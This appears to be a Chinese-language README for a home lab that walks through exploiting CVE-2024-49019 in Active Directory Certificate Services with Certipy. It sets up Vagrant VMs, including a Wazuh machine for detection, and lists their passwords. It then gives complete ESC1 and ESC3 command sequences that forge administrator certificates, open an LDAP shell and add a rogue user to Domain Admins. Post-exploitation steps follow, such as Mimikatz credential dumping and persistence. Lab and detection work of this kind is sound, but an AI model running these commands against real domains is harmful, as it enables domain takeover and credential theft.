利用 CVE-2024-49019：证书服务器权限提升

概述

CVE-2024-49019 是 Active Directory 证书服务 (AD CS) 中的一个漏洞，允许攻击者通过滥用基于证书的身份验证来提升权限。本指南演示如何使用 Certipy 利用此漏洞。

凭据表

虚拟机	用户名	密码
Windows Server 2022	Administrator	!@windowsadmintest101
Windows Server 2022	testuser	$Vulnerable139
Kali-VM	vagrant	vagrant
Ubuntu-Wazuh	wazuh	admin

Ubuntu-Wazuh VM 用于检测目的。检测指南缓解措施

步骤 1：克隆仓库并设置虚拟机

首先，克隆包含必要文件的仓库：

git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng

安装 Vagrant

在继续之前，您必须在主机上安装 Vagrant。

对于 Windows

从此处下载并安装 Vagrant，或使用 PowerShell 安装：

choco install vagrant

对于 Linux

sudo apt update && sudo apt install vagrant -y

设置虚拟机

Windows Server 2022 VM

cd windows-server2022
vagrant up

Kali Linux VM

cd kali-VM
vagrant up

Wazuh Ubuntu VM

cd WazuhUbuntu
vagrant up

步骤 2：配置虚拟网络

由于漏洞利用需要 NAT 网络，请按如下方式配置 VirtualBox：

在 Windows 上

在运行以下命令之前，请确保 VBoxManage 已添加到环境变量中。否则，请使用完整路径执行命令：

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

如果 VBoxManage 无法识别，请使用：

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

在 Linux 上

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

务必检查 VirtualBox 中的所有虚拟机，确保它们已分配到网络适配器 NatNetwork - NatNet1。您可以使用不同的名称创建 NAT 网络，但必须位于 IP 范围 10.0.2.0/24 内。

注意：建议为 Wazuh 服务器设置 DNS。本例中应使用 DNS: 10.0.2.1 - 有时如果没有互联网，API 检查将失败，您将无法进入 Wazuh 仪表板。

步骤 3：修改 hosts 文件

在继续之前，确保所有虚拟机都已开启。

访问 Kali Linux VM 以开始攻击，并更新您的 /etc/hosts 文件：

sudo nano /etc/hosts

添加以下条目：

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

保存并退出。

步骤 4：设置环境

导航到 CVE-49019 目录并激活 Python 虚拟环境：

cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate

步骤 5：利用方法

有两种利用此漏洞的方法：ESC1 和 ESC3。

ESC1 方法

查找易受攻击的模板

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

请求证书

certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'

使用证书进行 LDAP Shell 访问

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

添加新用户

add_user badadmin

将用户添加到域管理员组

add_user_to_group badadmin "Domain Admins"

ESC3 方法

查找易受攻击的模板

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

从测试用户请求证书

certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121

使用 testuser 证书为域管理员请求证书

certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121

这就是此方法与 ESC1 的不同之处，它可以请求 PKINIT 并从 TGT 获取哈希值

certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121

注意：如果遇到错误：trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

有一个变通方法，请确保您的主机与 Windows Server 本身具有相同的时间。请确保执行此命令，以便 Kali-Linux VM 与 Windows-Server 时间同步。

sudo timedatectl set-ntp off

sudo rdate -n 10.0.2.121

确保 Windows-Server 与主机具有相同的时区。考虑到由于组织原因可能无法修改，请考虑前往日期时间区域手动更改以匹配主机。Kali-VM 和 Windows Server 需要与主机具有相同的时间。

您也可以尝试使用以下命令强制时间同步

w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update

使用证书获取管理员权限

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

步骤 6：利用后可以做什么？

一旦获得管理员级别访问权限，攻击者可以：

创建和管理用户帐户

net user hacked /add
net localgroup "Administrators" hacked /add

使用 Mimikatz 转储凭据：
```
sekurlsa::logonpasswords
```
使用 Impacket 进行 Secretdump
使用 Wmiexec 访问 Windows 服务器 shell
使用 BloodyAD 更改 Windows 服务器管理员
在网络内横向移动
建立持久性
窃取敏感数据

有关检测和缓解策略，请参阅检测指南。

结论

CVE-2024-49019 由于允许未经授权的权限提升，带来了重大的安全风险。了解此漏洞并部署适当的检测机制（例如使用 Wazuh）对于保护 Active Directory 环境至关重要。

有关保护 AD CS 的更多信息，请参阅 Microsoft Security CVE-2024-49019。

CVE-2024-49019-rayng

最受欢迎

利用 CVE-2024-49019：证书服务器权限提升

概述

凭据表

步骤 1：克隆仓库并设置虚拟机

安装 Vagrant

对于 Windows

对于 Linux

设置虚拟机

Windows Server 2022 VM

Kali Linux VM

Wazuh Ubuntu VM

步骤 2：配置虚拟网络

在 Windows 上

在 Linux 上

注意：建议为 Wazuh 服务器设置 DNS。本例中应使用 DNS: 10.0.2.1 - 有时如果没有互联网，API 检查将失败，您将无法进入 Wazuh 仪表板。

步骤 3：修改 hosts 文件

步骤 4：设置环境

步骤 5：利用方法

ESC1 方法

查找易受攻击的模板

请求证书

使用证书进行 LDAP Shell 访问

添加新用户

将用户添加到域管理员组

ESC3 方法

查找易受攻击的模板

从测试用户请求证书

使用 testuser 证书为域管理员请求证书

这就是此方法与 ESC1 的不同之处，它可以请求 PKINIT 并从 TGT 获取哈希值

注意：如果遇到错误：trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

确保 Windows-Server 与主机具有相同的时区。考虑到由于组织原因可能无法修改，请考虑前往日期时间区域手动更改以匹配主机。Kali-VM 和 Windows Server 需要与主机具有相同的时间。

您也可以尝试使用以下命令强制时间同步

使用证书获取管理员权限

步骤 6：利用后可以做什么？

结论